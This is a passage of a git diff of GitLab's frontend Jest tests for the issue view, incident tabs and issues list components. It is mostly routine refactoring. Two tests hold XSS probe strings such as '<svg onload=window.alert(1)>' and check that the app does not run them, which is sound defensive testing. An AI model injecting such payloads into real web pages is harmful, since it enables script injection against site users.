+ });
+ };
+
beforeEach(() => {
setFixtures(`
<div>
@@ -57,28 +77,9 @@ describe('Issuable output', () => {
return res;
});
- wrapper = mount(IssuableApp, {
- propsData: {
- canUpdate: true,
- canDestroy: true,
- endpoint: '/gitlab-org/gitlab-shell/-/issues/9/realtime_changes',
- updateEndpoint: TEST_HOST,
- issuableRef: '#1',
- issuableStatus: 'opened',
- initialTitleHtml: '',
- initialTitleText: '',
- initialDescriptionHtml: 'test',
- initialDescriptionText: 'test',
- lockVersion: 1,
- markdownPreviewPath: '/',
- markdownDocsPath: '/',
- projectNamespace: '/',
- projectPath: '/',
- issuableTemplateNamesPath: '/issuable-templates-path',
- zoomMeetingUrl,
- publishedIncidentUrl,
- },
- });
+ mountComponent();
+
+ jest.advanceTimersByTime(2);
});
afterEach(() => {
@@ -134,7 +135,7 @@ describe('Issuable output', () => {
wrapper.vm.showForm = true;
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.contains('.markdown-selector')).toBe(true);
+ expect(wrapper.find('.markdown-selector').exists()).toBe(true);
});
});
@@ -143,7 +144,7 @@ describe('Issuable output', () => {
wrapper.setProps({ canUpdate: false });
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.contains('.markdown-selector')).toBe(false);
+ expect(wrapper.find('.markdown-selector').exists()).toBe(false);
});
});
@@ -403,7 +404,7 @@ describe('Issuable output', () => {
.then(() => {
expect(wrapper.vm.formState.lockedWarningVisible).toEqual(true);
expect(wrapper.vm.formState.lock_version).toEqual(1);
- expect(wrapper.contains('.alert')).toBe(true);
+ expect(wrapper.find('.alert').exists()).toBe(true);
});
});
});
@@ -441,14 +442,14 @@ describe('Issuable output', () => {
describe('show inline edit button', () => {
it('should not render by default', () => {
- expect(wrapper.contains('.btn-edit')).toBe(true);
+ expect(wrapper.find('.btn-edit').exists()).toBe(true);
});
it('should render if showInlineEditButton', () => {
wrapper.setProps({ showInlineEditButton: true });
return wrapper.vm.$nextTick(() => {
- expect(wrapper.contains('.btn-edit')).toBe(true);
+ expect(wrapper.find('.btn-edit').exists()).toBe(true);
});
});
});
@@ -531,7 +532,7 @@ describe('Issuable output', () => {
describe('sticky header', () => {
describe('when title is in view', () => {
it('is not shown', () => {
- expect(wrapper.contains('.issue-sticky-header')).toBe(false);
+ expect(wrapper.find('.issue-sticky-header').exists()).toBe(false);
});
});
@@ -562,4 +563,59 @@ describe('Issuable output', () => {
});
});
});
+
+ describe('Composable description component', () => {
+ const findIncidentTabs = () => wrapper.find(IncidentTabs);
+ const findDescriptionComponent = () => wrapper.find(DescriptionComponent);
+ const findPinnedLinks = () => wrapper.find(PinnedLinks);
+ const borderClass = 'gl-border-b-1 gl-border-b-gray-100 gl-border-b-solid gl-mb-6';
+
+ describe('when using description component', () => {
+ it('renders the description component', () => {
+ expect(findDescriptionComponent().exists()).toBe(true);
+ });
+
+ it('does not render incident tabs', () => {
+ expect(findIncidentTabs().exists()).toBe(false);
+ });
+
+ it('adds a border below the header', () => {
+ expect(findPinnedLinks().attributes('class')).toContain(borderClass);
+ });
+ });
+
+ describe('when using incident tabs description wrapper', () => {
+ beforeEach(() => {
+ mountComponent(
+ {
+ descriptionComponent: IncidentTabs,
+ showTitleBorder: false,
+ },
+ {
+ mocks: {
+ $apollo: {
+ queries: {
+ alert: {
+ loading: false,
+ },
+ },
+ },
+ },
+ },
+ );
+ });
+
+ it('renders the description component', () => {
+ expect(findDescriptionComponent().exists()).toBe(true);
+ });
+
+ it('renders incident tabs', () => {
+ expect(findIncidentTabs().exists()).toBe(true);
+ });
+
+ it('does not add a border below the header', () => {
+ expect(findPinnedLinks().attributes('class')).not.toContain(borderClass);
+ });
+ });
+ });
});
diff --git a/spec/frontend/issue_show/components/description_spec.js b/spec/frontend/issue_show/components/description_spec.js
index 0053475dd13..bc7511225a0 100644
--- a/spec/frontend/issue_show/components/description_spec.js
+++ b/spec/frontend/issue_show/components/description_spec.js
@@ -5,20 +5,13 @@ import mountComponent from 'helpers/vue_mount_component_helper';
import { TEST_HOST } from 'helpers/test_constants';
import Description from '~/issue_show/components/description.vue';
import TaskList from '~/task_list';
+import { descriptionProps as props } from '../mock_data';
jest.mock('~/task_list');
describe('Description component', () => {
let vm;
let DescriptionComponent;
- const props = {
- canUpdate: true,
- descriptionHtml: 'test',
- descriptionText: 'test',
- updatedAt: new Date().toString(),
- taskStatus: '',
- updateUrl: TEST_HOST,
- };
beforeEach(() => {
DescriptionComponent = Vue.extend(Description);
@@ -43,12 +36,27 @@ describe('Description component', () => {
$('.issuable-meta .flash-container').remove();
});
- it('animates description changes', () => {
+ it('doesnt animate first description changes', () => {
vm.descriptionHtml = 'changed';
+ return vm.$nextTick().then(() => {
+ expect(
+ vm.$el.querySelector('.md').classList.contains('issue-realtime-pre-pulse'),
+ ).toBeFalsy();
+ jest.runAllTimers();
+ return vm.$nextTick();
+ });
+ });
+
+ it('animates description changes on live update', () => {
+ vm.descriptionHtml = 'changed';
return vm
.$nextTick()
.then(() => {
+ vm.descriptionHtml = 'changed second time';
+ return vm.$nextTick();
+ })
+ .then(() => {
expect(
vm.$el.querySelector('.md').classList.contains('issue-realtime-pre-pulse'),
).toBeTruthy();
diff --git a/spec/frontend/issue_show/components/edit_actions_spec.js b/spec/frontend/issue_show/components/edit_actions_spec.js
index b0c1894058e..79a2bcd5eab 100644
--- a/spec/frontend/issue_show/components/edit_actions_spec.js
+++ b/spec/frontend/issue_show/components/edit_actions_spec.js
@@ -70,16 +70,6 @@ describe('Edit Actions components', () => {
expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
});
- it('shows loading icon after clicking save button', done => {
- vm.$el.querySelector('.btn-success').click();
-
- Vue.nextTick(() => {
- expect(vm.$el.querySelector('.btn-success .fa')).not.toBeNull();
-
- done();
- });
- });
-
it('disabled button after clicking save button', done => {
vm.$el.querySelector('.btn-success').click();
@@ -107,17 +97,6 @@ describe('Edit Actions components', () => {
expect(eventHub.$emit).toHaveBeenCalledWith('delete.issuable', { destroy_confirm: true });
});
- it('shows loading icon after clicking delete button', done => {
- jest.spyOn(window, 'confirm').mockReturnValue(true);
- vm.$el.querySelector('.btn-danger').click();
-
- Vue.nextTick(() => {
- expect(vm.$el.querySelector('.btn-danger .fa')).not.toBeNull();
-
- done();
- });
- });
-
it('does no actions when confirm is false', done => {
jest.spyOn(window, 'confirm').mockReturnValue(false);
vm.$el.querySelector('.btn-danger').click();
diff --git a/spec/frontend/issue_show/components/incidents/highlight_bar_spec.js b/spec/frontend/issue_show/components/incidents/highlight_bar_spec.js
new file mode 100644
index 00000000000..8d50df5e406
--- /dev/null
+++ b/spec/frontend/issue_show/components/incidents/highlight_bar_spec.js
@@ -0,0 +1,56 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlLink } from '@gitlab/ui';
+import HighlightBar from '~/issue_show/components/incidents/highlight_bar.vue';
+import { formatDate } from '~/lib/utils/datetime_utility';
+
+jest.mock('~/lib/utils/datetime_utility');
+
+describe('Highlight Bar', () => {
+ let wrapper;
+
+ const alert = {
+ startedAt: '2020-05-29T10:39:22Z',
+ detailsUrl: 'http://127.0.0.1:3000/root/unique-alerts/-/alert_management/1/details',
+ eventCount: 1,
+ title: 'Alert 1',
+ };
+
+ const mountComponent = () => {
+ wrapper = shallowMount(HighlightBar, {
+ propsData: {
+ alert,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ const findLink = () => wrapper.find(GlLink);
+
+ it('renders a link to the alert page', () => {
+ expect(findLink().exists()).toBe(true);
+ expect(findLink().attributes('href')).toBe(alert.detailsUrl);
+ expect(findLink().text()).toContain(alert.title);
+ });
+
+ it('renders formatted start time of the alert', () => {
+ const formattedDate = '2020-05-29 UTC';
+ formatDate.mockReturnValueOnce(formattedDate);
+ mountComponent();
+ expect(formatDate).toHaveBeenCalledWith(alert.startedAt, 'yyyy-mm-dd Z');
+ expect(wrapper.text()).toContain(formattedDate);
+ });
+
+ it('renders a number of alert events', () => {
+ expect(wrapper.text()).toContain(alert.eventCount);
+ });
+});
diff --git a/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js b/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js
new file mode 100644
index 00000000000..a51b497cd79
--- /dev/null
+++ b/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js
@@ -0,0 +1,101 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlTab } from '@gitlab/ui';
+import INVALID_URL from '~/lib/utils/invalid_url';
+import IncidentTabs from '~/issue_show/components/incidents/incident_tabs.vue';
+import { descriptionProps } from '../../mock_data';
+import DescriptionComponent from '~/issue_show/components/description.vue';
+import HighlightBar from '~/issue_show/components/incidents/highlight_bar.vue';
+import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
+
+const mockAlert = {
+ __typename: 'AlertManagementAlert',
+ detailsUrl: INVALID_URL,
+ iid: '1',
+};
+
+describe('Incident Tabs component', () => {
+ let wrapper;
+
+ const mountComponent = (data = {}) => {
+ wrapper = shallowMount(IncidentTabs, {
+ propsData: {
+ ...descriptionProps,
+ },
+ stubs: {
+ DescriptionComponent: true,
+ },
+ provide: {
+ fullPath: '',
+ iid: '',
+ },
+ data() {
+ return { alert: mockAlert, ...data };
+ },
+ mocks: {
+ $apollo: {
+ queries: {
+ alert: {
+ loading: true,
+ },
+ },
+ },
+ },
+ });
+ };
+
+ const findTabs = () => wrapper.findAll(GlTab);
+ const findSummaryTab = () => findTabs().at(0);
+ const findAlertDetailsTab = () => findTabs().at(1);
+ const findAlertDetailsComponent = () => wrapper.find(AlertDetailsTable);
+ const findDescriptionComponent = () => wrapper.find(DescriptionComponent);
+ const findHighlightBarComponent = () => wrapper.find(HighlightBar);
+
+ describe('empty state', () => {
+ beforeEach(() => {
+ mountComponent({ alert: null });
+ });
+
+ it('does not show the alert details tab', () => {
+ expect(findAlertDetailsComponent().exists()).toBe(false);
+ expect(findHighlightBarComponent().exists()).toBe(false);
+ });
+ });
+
+ describe('with an alert present', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('renders the summary tab', () => {
+ expect(findSummaryTab().exists()).toBe(true);
+ expect(findSummaryTab().attributes('title')).toBe('Summary');
+ });
+
+ it('renders the alert details tab', () => {
+ expect(findAlertDetailsTab().exists()).toBe(true);
+ expect(findAlertDetailsTab().attributes('title')).toBe('Alert details');
+ });
+
+ it('renders the alert details table with the correct props', () => {
+ const alert = { iid: mockAlert.iid };
+
+ expect(findAlertDetailsComponent().props('alert')).toEqual(alert);
+ expect(findAlertDetailsComponent().props('loading')).toBe(true);
+ });
+
+ it('renders the description component with highlight bar', () => {
+ expect(findDescriptionComponent().exists()).toBe(true);
+ expect(findHighlightBarComponent().exists()).toBe(true);
+ });
+
+ it('renders the highlight bar component with the correct props', () => {
+ const alert = { detailsUrl: mockAlert.detailsUrl };
+
+ expect(findHighlightBarComponent().props('alert')).toMatchObject(alert);
+ });
+
+ it('passes all props to the description component', () => {
+ expect(findDescriptionComponent().props()).toMatchObject(descriptionProps);
+ });
+ });
+});
diff --git a/spec/frontend/issue_show/helpers.js b/spec/frontend/issue_show/helpers.js
index 5d2ced98ae4..7ca6a22929d 100644
--- a/spec/frontend/issue_show/helpers.js
+++ b/spec/frontend/issue_show/helpers.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const keyboardDownEvent = (code, metaKey = false, ctrlKey = false) => {
const e = new CustomEvent('keydown');
diff --git a/spec/frontend/issue_show/index_spec.js b/spec/frontend/issue_show/index_spec.js
deleted file mode 100644
index e80d1b83c11..00000000000
--- a/spec/frontend/issue_show/index_spec.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import initIssueableApp from '~/issue_show';
-
-describe('Issue show index', () => {
- describe('initIssueableApp', () => {
- it('should initialize app with no potential XSS attack', () => {
- const d = document.createElement('div');
- d.id = 'js-issuable-app-initial-data';
- d.innerHTML = JSON.stringify({
- initialDescriptionHtml: '&lt;img src=x onerror=alert(1)&gt;',
- });
- document.body.appendChild(d);
-
- const alertSpy = jest.spyOn(window, 'alert');
- initIssueableApp();
-
- expect(alertSpy).not.toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/issue_show/issue_spec.js b/spec/frontend/issue_show/issue_spec.js
new file mode 100644
index 00000000000..befb670c6cd
--- /dev/null
+++ b/spec/frontend/issue_show/issue_spec.js
@@ -0,0 +1,45 @@
+import MockAdapter from 'axios-mock-adapter';
+import { useMockIntersectionObserver } from 'helpers/mock_dom_observer';
+import waitForPromises from 'helpers/wait_for_promises';
+import axios from '~/lib/utils/axios_utils';
+import initIssuableApp from '~/issue_show/issue';
+import * as parseData from '~/issue_show/utils/parse_data';
+import { appProps } from './mock_data';
+
+const mock = new MockAdapter(axios);
+mock.onGet().reply(200);
+
+useMockIntersectionObserver();
+
+jest.mock('~/lib/utils/poll');
+
+const setupHTML = initialData => {
+ document.body.innerHTML = `
+ <div id="js-issuable-app"></div>
+ <script id="js-issuable-app-initial-data" type="application/json">
+ ${JSON.stringify(initialData)}
+ </script>
+ `;
+};
+
+describe('Issue show index', () => {
+ describe('initIssueableApp', () => {
+ it('should initialize app with no potential XSS attack', async () => {
+ const alertSpy = jest.spyOn(window, 'alert').mockImplementation(() => {});
+ const parseDataSpy = jest.spyOn(parseData, 'parseIssuableData');
+
+ setupHTML({
+ ...appProps,
+ initialDescriptionHtml: '<svg onload=window.alert(1)>',
+ });
+
+ const issuableData = parseData.parseIssuableData();
+ initIssuableApp(issuableData);
+
+ await waitForPromises();
+
+ expect(parseDataSpy).toHaveBeenCalled();
+ expect(alertSpy).not.toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/issue_show/mock_data.js b/spec/frontend/issue_show/mock_data.js
index ff01a004186..5a31a550088 100644
--- a/spec/frontend/issue_show/mock_data.js
+++ b/spec/frontend/issue_show/mock_data.js
@@ -1,3 +1,5 @@
+import { TEST_HOST } from 'helpers/test_constants';
+
export const initialRequest = {
title: '<p>this is a title</p>',
title_text: 'this is a title',
@@ -21,3 +23,36 @@ export const secondRequest = {
updated_by_path: '/other_user',
lock_version: 2,
};
+
+export const descriptionProps = {
+ canUpdate: true,
+ descriptionHtml: 'test',
+ descriptionText: 'test',
+ taskStatus: '',
+ updateUrl: TEST_HOST,
+};
+
+export const publishedIncidentUrl = 'https://status.com/';
+
+export const zoomMeetingUrl = 'https://gitlab.zoom.us/j/95919234811';
+
+export const appProps = {
+ canUpdate: true,
+ canDestroy: true,
+ endpoint: '/gitlab-org/gitlab-shell/-/issues/9/realtime_changes',
+ updateEndpoint: TEST_HOST,
+ issuableRef: '#1',
+ issuableStatus: 'opened',
+ initialTitleHtml: '',
+ initialTitleText: '',
+ initialDescriptionHtml: 'test',
+ initialDescriptionText: 'test',
+ lockVersion: 1,
+ markdownPreviewPath: '/',
+ markdownDocsPath: '/',
+ projectNamespace: '/',
+ projectPath: '/',
+ issuableTemplateNamesPath: '/issuable-templates-path',
+ zoomMeetingUrl,
+ publishedIncidentUrl,
+};
diff --git a/spec/frontend/issuables_list/components/__snapshots__/issuables_list_app_spec.js.snap b/spec/frontend/issues_list/components/__snapshots__/issuables_list_app_spec.js.snap
index c327b7de827..c327b7de827 100644
--- a/spec/frontend/issuables_list/components/__snapshots__/issuables_list_app_spec.js.snap
+++ b/spec/frontend/issues_list/components/__snapshots__/issuables_list_app_spec.js.snap
diff --git a/spec/frontend/issues_list/components/issuable_spec.js b/spec/frontend/issues_list/components/issuable_spec.js
new file mode 100644
index 00000000000..c20684cc385
--- /dev/null
+++ b/spec/frontend/issues_list/components/issuable_spec.js
@@ -0,0 +1,492 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlSprintf, GlLabel, GlIcon } from '@gitlab/ui';
+import { TEST_HOST } from 'helpers/test_constants';
+import { trimText } from 'helpers/text_helper';
+import initUserPopovers from '~/user_popovers';
+import { formatDate } from '~/lib/utils/datetime_utility';
+import { mergeUrlParams } from '~/lib/utils/url_utility';
+import Issuable from '~/issues_list/components/issuable.vue';
+import IssueAssignees from '~/vue_shared/components/issue/issue_assignees.vue';
+import { simpleIssue, testAssignees, testLabels } from '../issuable_list_test_data';
+import { isScopedLabel } from '~/lib/utils/common_utils';
+
+jest.mock('~/user_popovers');
+
+const TEST_NOW = '2019-08-28T20:03:04.713Z';
+const TEST_MONTH_AGO = '2019-07-28';
+const TEST_MONTH_LATER = '2019-09-30';
+const DATE_FORMAT = 'mmm d, yyyy';
+const TEST_USER_NAME = 'Tyler Durden';
+const TEST_BASE_URL = `${TEST_HOST}/issues`;
+const TEST_TASK_STATUS = '50 of 100 tasks completed';
+const TEST_MILESTONE = {
+ title: 'Milestone title',
+ web_url: `${TEST_HOST}/milestone/1`,
+};
+const TEXT_CLOSED = 'CLOSED';
+const TEST_META_COUNT = 100;
+
+// Use FixedDate so that time sensitive info in snapshots don't fail
+class FixedDate extends Date {
+ constructor(date = TEST_NOW) {
+ super(date);
+ }
+}
+
+describe('Issuable component', () => {
+ let issuable;
+ let DateOrig;
+ let wrapper;
+
+ const factory = (props = {}, scopedLabels = false) => {
+ wrapper = shallowMount(Issuable, {
+ propsData: {
+ issuable: simpleIssue,
+ baseUrl: TEST_BASE_URL,
+ ...props,
+ },
+ provide: {
+ glFeatures: {
+ scopedLabels,
+ },
+ },
+ stubs: {
+ 'gl-sprintf': GlSprintf,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ issuable = { ...simpleIssue };
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ beforeAll(() => {
+ DateOrig = window.Date;
+ window.Date = FixedDate;
+ });
+
+ afterAll(() => {
+ window.Date = DateOrig;
+ });
+
+ const checkExists = findFn => () => findFn().exists();
+ const hasIcon = (iconName, iconWrapper = wrapper) =>
+ iconWrapper.findAll(GlIcon).wrappers.some(icon => icon.props('name') === iconName);
+ const hasConfidentialIcon = () => hasIcon('eye-slash');
+ const findTaskStatus = () => wrapper.find('.task-status');
+ const findOpenedAgoContainer = () => wrapper.find('[data-testid="openedByMessage"]');
+ const findAuthor = () => wrapper.find({ ref: 'openedAgoByContainer' });
+ const findMilestone = () => wrapper.find('.js-milestone');
+ const findMilestoneTooltip = () => findMilestone().attributes('title');
+ const findDueDate = () => wrapper.find('.js-due-date');
+ const findLabels = () => wrapper.findAll(GlLabel);
+ const findWeight = () => wrapper.find('[data-testid="weight"]');
+ const findAssignees = () => wrapper.find(IssueAssignees);
+ const findBlockingIssuesCount = () => wrapper.find('[data-testid="blocking-issues"]');
+ const findMergeRequestsCount = () => wrapper.find('[data-testid="merge-requests"]');
+ const findUpvotes = () => wrapper.find('[data-testid="upvotes"]');
+ const findDownvotes = () => wrapper.find('[data-testid="downvotes"]');
+ const findNotes = () => wrapper.find('[data-testid="notes-count"]');
+ const findBulkCheckbox = () => wrapper.find('input.selected-issuable');
+ const findScopedLabels = () => findLabels().filter(w => isScopedLabel({ title: w.text() }));
+ const findUnscopedLabels = () => findLabels().filter(w => !isScopedLabel({ title: w.text() }));
+ const findIssuableTitle = () => wrapper.find('[data-testid="issuable-title"]');
+ const findIssuableStatus = () => wrapper.find('[data-testid="issuable-status"]');
+ const containsJiraLogo = () => wrapper.find('[data-testid="jira-logo"]').exists();
+ const findHealthStatus = () => wrapper.find('.health-status');
+
+ describe('when mounted', () => {
+ it('initializes user popovers', () => {
+ expect(initUserPopovers).not.toHaveBeenCalled();
+
+ factory();
+
+ expect(initUserPopovers).toHaveBeenCalledWith([wrapper.vm.$refs.openedAgoByContainer.$el]);
+ });
+ });
+
+ describe('when scopedLabels feature is available', () => {
+ beforeEach(() => {
+ issuable.labels = [...testLabels];
+
+ factory({ issuable }, true);
+ });
+
+ describe('when label is scoped', () => {
+ it('returns label with correct props', () => {
+ const scopedLabel = findScopedLabels().at(0);
+
+ expect(scopedLabel.props('scoped')).toBe(true);
+ });
+ });
+
+ describe('when label is not scoped', () => {
+ it('returns label with correct props', () => {
+ const notScopedLabel = findUnscopedLabels().at(0);
+
+ expect(notScopedLabel.props('scoped')).toBe(false);
+ });
+ });
+ });
+
+ describe('when scopedLabels feature is not available', () => {
+ beforeEach(() => {
+ issuable.labels = [...testLabels];
+
+ factory({ issuable });
+ });
+
+ describe('when label is scoped', () => {
+ it('label scoped props is false', () => {
+ const scopedLabel = findScopedLabels().at(0);
+
+ expect(scopedLabel.props('scoped')).toBe(false);
+ });
+ });
+
+ describe('when label is not scoped', () => {
+ it('label scoped props is false', () => {
+ const notScopedLabel = findUnscopedLabels().at(0);
+
+ expect(notScopedLabel.props('scoped')).toBe(false);
+ });
+ });
+ });
+
+ describe('with simple issuable', () => {
+ beforeEach(() => {
+ Object.assign(issuable, {
+ has_tasks: false,
+ task_status: TEST_TASK_STATUS,
+ created_at: TEST_MONTH_AGO,
+ author: {
+ ...issuable.author,
+ name: TEST_USER_NAME,
+ },
+ labels: [],
+ });
+
+ factory({ issuable });
+ });
+
+ it.each`
+ desc | check
+ ${'bulk editing checkbox'} | ${checkExists(findBulkCheckbox)}
+ ${'confidential icon'} | ${hasConfidentialIcon}
+ ${'task status'} | ${checkExists(findTaskStatus)}
+ ${'milestone'} | ${checkExists(findMilestone)}
+ ${'due date'} | ${checkExists(findDueDate)}
+ ${'labels'} | ${checkExists(findLabels)}
+ ${'weight'} | ${checkExists(findWeight)}
+ ${'blocking issues count'} | ${checkExists(findBlockingIssuesCount)}
+ ${'merge request count'} | ${checkExists(findMergeRequestsCount)}
+ ${'upvotes'} | ${checkExists(findUpvotes)}
+ ${'downvotes'} | ${checkExists(findDownvotes)}
+ `('does not render $desc', ({ check }) => {
+ expect(check()).toBe(false);
+ });
+
+ it('show relative reference path', () => {
+ expect(wrapper.find('.js-ref-path').text()).toBe(issuable.references.relative);
+ });
+
+ it('does not have closed text', () => {
+ expect(wrapper.text()).not.toContain(TEXT_CLOSED);
+ });
+
+ it('does not have closed class', () => {
+ expect(wrapper.classes('closed')).toBe(false);
+ });
+
+ it('renders fuzzy opened date and author', () => {
+ expect(trimText(findOpenedAgoContainer().text())).toContain(
+ `opened 1 month ago by ${TEST_USER_NAME}`,
+ );
+ });
+
+ it('renders no comments', () => {
+ expect(findNotes().classes('no-comments')).toBe(true);
+ });
+ });
+
+ describe('with confidential issuable', () => {
+ beforeEach(() => {
+ issuable.confidential = true;
+
+ factory({ issuable });
+ });
+
+ it('renders the confidential icon', () => {
+ expect(hasConfidentialIcon()).toBe(true);
+ });
+ });
+
+ describe('with Jira issuable', () => {
+ beforeEach(() => {
+ issuable.external_tracker = 'jira';
+
+ factory({ issuable });
+ });
+
+ it('renders the Jira icon', () => {
+ expect(containsJiraLogo()).toBe(true);
+ });
+
+ it('opens issuable in a new tab', () => {
+ expect(findIssuableTitle().props('target')).toBe('_blank');
+ });
+
+ it('opens author in a new tab', () => {
+ expect(findAuthor().props('target')).toBe('_blank');
+ });
+
+ describe('with Jira status', () => {
+ const expectedStatus = 'In Progress';
+
+ beforeEach(() => {
+ issuable.status = expectedStatus;
+
+ factory({ issuable });
+ });
+
+ it('renders the Jira status', () => {
+ expect(findIssuableStatus().text()).toBe(expectedStatus);
+ });
+ });
+ });
+
+ describe('with task status', () => {
+ beforeEach(() => {
+ Object.assign(issuable, {
+ has_tasks: true,
+ task_status: TEST_TASK_STATUS,
+ });
+
+ factory({ issuable });
+ });
+
+ it('renders task status', () => {
+ expect(findTaskStatus().exists()).toBe(true);
+ expect(findTaskStatus().text()).toBe(TEST_TASK_STATUS);
+ });
+ });
+
+ describe.each`
+ desc | dueDate | expectedTooltipPart
+ ${'past due'} | ${TEST_MONTH_AGO} | ${'Past due'}
+ ${'future due'} | ${TEST_MONTH_LATER} | ${'1 month remaining'}
+ `('with milestone with $desc', ({ dueDate, expectedTooltipPart }) => {
+ beforeEach(() => {
+ issuable.milestone = { ...TEST_MILESTONE, due_date: dueDate };
+
+ factory({ issuable });
+ });
+
+ it('renders milestone', () => {
+ expect(findMilestone().exists()).toBe(true);
+ expect(hasIcon('clock', findMilestone())).toBe(true);
+ expect(findMilestone().text()).toEqual(TEST_MILESTONE.title);
+ });
+
+ it('renders tooltip', () => {
+ expect(findMilestoneTooltip()).toBe(
+ `${formatDate(dueDate, DATE_FORMAT)} (${expectedTooltipPart})`,
+ );
+ });
+
+ it('renders milestone with the correct href', () => {
+ const { title } = issuable.milestone;
+ const expected = mergeUrlParams({ milestone_title: title }, TEST_BASE_URL);
+
+ expect(findMilestone().attributes('href')).toBe(expected);
+ });
+ });
+
+ describe.each`
+ dueDate | hasClass | desc
+ ${TEST_MONTH_LATER} | ${false} | ${'with future due date'}
+ ${TEST_MONTH_AGO} | ${true} | ${'with past due date'}
+ `('$desc', ({ dueDate, hasClass }) => {
+ beforeEach(() => {
+ issuable.due_date = dueDate;
+
+ factory({ issuable });
+ });
+
+ it('renders due date', () => {
+ expect(findDueDate().exists()).toBe(true);
+ expect(findDueDate().text()).toBe(formatDate(dueDate, DATE_FORMAT));
+ });
+
+ it(hasClass ? 'has cred class' : 'does not have cred class', () => {
+ expect(findDueDate().classes('cred')).toEqual(hasClass);
+ });
+ });
+
+ describe('with labels', () => {
+ beforeEach(() => {
+ issuable.labels = [...testLabels];
+
+ factory({ issuable });
+ });
+
+ it('renders labels', () => {
+ factory({ issuable });
+
+ const labels = findLabels().wrappers.map(label => ({
+ href: label.props('target'),
+ text: label.text(),
+ tooltip: label.attributes('description'),
+ }));
+
+ const expected = testLabels.map(label => ({
+ href: mergeUrlParams({ 'label_name[]': label.name }, TEST_BASE_URL),
+ text: label.name,
+ tooltip: label.description,
+ }));
+
+ expect(labels).toEqual(expected);
+ });
+ });
+
+ describe('with labels for Jira issuable', () => {
+ beforeEach(() => {
+ issuable.labels = [...testLabels];
+ issuable.external_tracker = 'jira';
+
+ factory({ issuable });
+ });
+
+ it('renders labels', () => {
+ factory({ issuable });
+
+ const labels = findLabels().wrappers.map(label => ({
+ href: label.props('target'),
+ text: label.text(),
+ tooltip: label.attributes('description'),
+ }));
+
+ const expected = testLabels.map(label => ({
+ href: mergeUrlParams({ 'labels[]': label.name }, TEST_BASE_URL),
+ text: label.name,
+ tooltip: label.description,
+ }));
+
+ expect(labels).toEqual(expected);
+ });
+ });
+
+ describe.each`
+ weight
+ ${0}
+ ${10}
+ ${12345}
+ `('with weight $weight', ({ weight }) => {
+ beforeEach(() => {
+ issuable.weight = weight;
+
+ factory({ issuable });
+ });
+
+ it('renders weight', () => {
+ expect(findWeight().exists()).toBe(true);
+ expect(findWeight().text()).toEqual(weight.toString());
+ });
+ });
+
+ describe('with closed state', () => {
+ beforeEach(() => {
+ issuable.state = 'closed';
+
+ factory({ issuable });
+ });
+
+ it('renders closed text', () => {
+ expect(wrapper.text()).toContain(TEXT_CLOSED);
+ });
+
+ it('has closed class', () => {
+ expect(wrapper.classes('closed')).toBe(true);
+ });
+ });
+
+ describe('with assignees', () => {
+ beforeEach(() => {
+ issuable.assignees = testAssignees;
+
+ factory({ issuable });
+ });
+
+ it('renders assignees', () => {
+ expect(findAssignees().exists()).toBe(true);
+ expect(findAssignees().props('assignees')).toEqual(testAssignees);
+ });
+ });
+
+ describe.each`
+ desc | key | finder
+ ${'with blocking issues count'} | ${'blocking_issues_count'} | ${findBlockingIssuesCount}
+ ${'with merge requests count'} | ${'merge_requests_count'} | ${findMergeRequestsCount}
+ ${'with upvote count'} | ${'upvotes'} | ${findUpvotes}
+ ${'with downvote count'} | ${'downvotes'} | ${findDownvotes}
+ ${'with notes count'} | ${'user_notes_count'} | ${findNotes}
+ `('$desc', ({ key, finder }) => {
+ beforeEach(() => {
+ issuable[key] = TEST_META_COUNT;
+
+ factory({ issuable });
+ });
+
+ it('renders correct count', () => {
+ expect(finder().exists()).toBe(true);
+ expect(finder().text()).toBe(TEST_META_COUNT.toString());
+ expect(finder().classes('no-comments')).toBe(false);
+ });
+ });
+
+ describe('with bulk editing', () => {
+ describe.each`
+ selected | desc
+ ${true} | ${'when selected'}
+ ${false} | ${'when unselected'}
+ `('$desc', ({ selected }) => {
+ beforeEach(() => {
+ factory({ isBulkEditing: true, selected });
+ });
+
+ it(`renders checked is ${selected}`, () => {
+ expect(findBulkCheckbox().element.checked).toBe(selected);
+ });
+
+ it('emits select when clicked', () => {
+ expect(wrapper.emitted().select).toBeUndefined();
+
+ findBulkCheckbox().trigger('click');
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.emitted().select).toEqual([[{ issuable, selected: !selected }]]);
+ });
+ });
+ });
+ });
+
+ if (IS_EE) {
+ describe('with health status', () => {
+ it('renders health status tag', () => {
+ factory({ issuable });
+ expect(findHealthStatus().exists()).toBe(true);
+ });
+
+ it('does not render when health status is absent', () => {
+ issuable.health_status = null;
+ factory({ issuable });
+ expect(findHealthStatus().exists()).toBe(false);
+ });
+ });
+ }
+});
diff --git a/spec/frontend/issues_list/components/issuables_list_app_spec.js b/spec/frontend/issues_list/components/issuables_list_app_spec.js
new file mode 100644
index 00000000000..1f80b4fc54a
--- /dev/null
+++ b/spec/frontend/issues_list/components/issuables_list_app_spec.js
@@ -0,0 +1,595 @@
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
+import { shallowMount } from '@vue/test-utils';
+import {
+ GlEmptyState,
+ GlPagination,
+ GlDeprecatedSkeletonLoading as GlSkeletonLoading,
+} from '@gitlab/ui';
+import waitForPromises from 'helpers/wait_for_promises';
+import { TEST_HOST } from 'helpers/test_constants';
+import { deprecatedCreateFlash as flash } from '~/flash';
+import IssuablesListApp from '~/issues_list/components/issuables_list_app.vue';
